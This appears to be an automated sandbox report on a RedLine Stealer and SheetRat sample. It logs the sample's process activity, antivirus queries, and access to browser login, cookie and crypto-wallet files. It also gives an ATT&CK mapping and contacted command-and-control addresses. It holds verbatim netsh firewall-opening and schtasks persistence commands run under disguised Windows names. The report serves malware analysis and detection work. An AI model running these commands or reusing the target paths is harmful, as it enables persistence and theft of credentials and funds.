Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Process created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe "C:\Windows\System32\xdwdSecurityHealthSystrays.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name=",%MUc}<NcMKXc_" dir=in action=allow program="C:\Windows\System32\Defender.exe" enable=yes & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Process created: C:\Windows\System32\Defender.exe "C:\Windows\System32\Defender.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST

Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Users\user\Desktop\Fixer.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FixerNerest.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Queries volume information: C:\Windows\System32\xdwdSecurityHealthSystrays.exe VolumeInformation
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Queries volume information: C:\Windows\System32\xdwdSecurityHealthSystrays.exe VolumeInformation
Source: C:\Windows\System32\Defender.exe	Queries volume information: C:\Windows\System32\Defender.exe VolumeInformation
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Queries volume information: C:\Windows\System32\xdwdSecurityHealthSystrays.exe VolumeInformation
Source: C:\Windows\System32\Defender.exe	Queries volume information: C:\Windows\System32\Defender.exe VolumeInformation
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Queries volume information: C:\Windows\System32\xdwdSecurityHealthSystrays.exe VolumeInformation
Source: C:\Windows\System32\Defender.exe	Queries volume information: C:\Windows\System32\Defender.exe VolumeInformation

Source: C:\Users\user\Desktop\Fixer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

Process created: C:\Windows\System32\cmd.exe "CMD" netsh advfirewall firewall add rule name="7=PG%XL(%PSA%R" dir=in action=allow program="C:\Windows\System32\xdwdSecurityHealthSystrays.exe" enable=yes & exit

Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52854929641.000000001B3BE000.00000004.00000020.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52839355797.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52861531971.000000001B686000.00000004.00000020.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52882971819.000000001B580000.00000004.00000020.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52882315101.000000001B515000.00000004.00000020.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52896577157.000000001B399000.00000004.00000020.00020000.00000000.sdmp, Defender.exe, 00000014.00000002.53586488043.0000000000C81000.00000004.00000020.00020000.00000000.sdmp, Defender.exe, 00000014.00000002.53603195774.000000001B6D0000.00000004.00000020.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52910259990.000000001B314000.00000004.00000020.00020000.00000000.sdmp, Defender.exe, 00000016.00000002.52917676072.0000000000C58000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Fixer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\Defender.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: Fixer.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.0.Fixer.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.52343849796.0000000000672000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fixer.exe PID: 7492, type: MEMORYSTR

Yara detected SheetRat

Source: Yara match	File source: 2.2.6z9uno0baqvej0me.exe.12803b30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.6z9uno0baqvej0me.exe.12803b30.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.52853780716.00000000127E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6z9uno0baqvej0me.exe PID: 5376, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\walletsLR
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q2C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q-cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: qdC:\Users\user\AppData\Roaming\Binance
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\walletsLR
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q&%localappdata%\Coinomi\Coinomi\walletsLR
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: q6C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\Fixer.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fixer.exe PID: 7492, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: Fixer.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.0.Fixer.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.52343849796.0000000000672000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Fixer.exe PID: 7492, type: MEMORYSTR

Yara detected SheetRat

Source: Yara match	File source: 2.2.6z9uno0baqvej0me.exe.12803b30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.6z9uno0baqvej0me.exe.12803b30.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.52853780716.00000000127E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6z9uno0baqvej0me.exe PID: 5376, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	321 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	121 Masquerading	1 OS Credential Dumping	541 Security Software Discovery	Remote Services	1 Screen Capture	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	11 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	341 Virtualization/Sandbox Evasion	Security Account Manager	341 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	213 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Fixer.exe	68%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealz
Fixer.exe	79%	Virustotal		Browse
Fixer.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\System32\Defender.exe	100%	Avira	TR/Crypt.OPACK.Gen
C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	100%	Avira	HEUR/AGEN.1310090
C:\Windows\System32\xdwdSecurityHealthSystrays.exe	100%	Avira	TR/Crypt.OPACK.Gen
C:\Users\user\AppData\Local\Temp\FixerNerest.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://89.23.97.121:1911	0%	Avira URL Cloud	safe
89.23.97.121:1112	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
et-seattle.gl.at.ply.gg	147.185.221.24	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
89.23.97.121:1112	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	false		high
http://89.23.97.121:1911	Fixer.exe, 00000000.00000002.52600457326.0000000002D1E000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id23ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	false		high
http://tempuri.org/	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id2Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002DE7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id14V	Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002A44000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002A96000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 0000000D.00000002.52866509335.0000000002BD4000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000013.00000002.52877664599.0000000002B55000.00000004.00000800.00020000.00000000.sdmp, Defender.exe, 00000014.00000002.53588979577.0000000002B39000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000015.00000002.52889295522.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, Defender.exe, 00000016.00000002.52919814800.0000000002BF6000.00000004.00000800.00020000.00000000.sdmp, xdwdSecurityHealthSystrays.exe, 00000017.00000002.53431573615.0000000003129000.00000004.00000800.00020000.00000000.sdmp, Defender.exe, 00000018.00000002.53436833869.0000000002979000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	Fixer.exe	false		high
http://tempuri.org/Entity/Id1ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
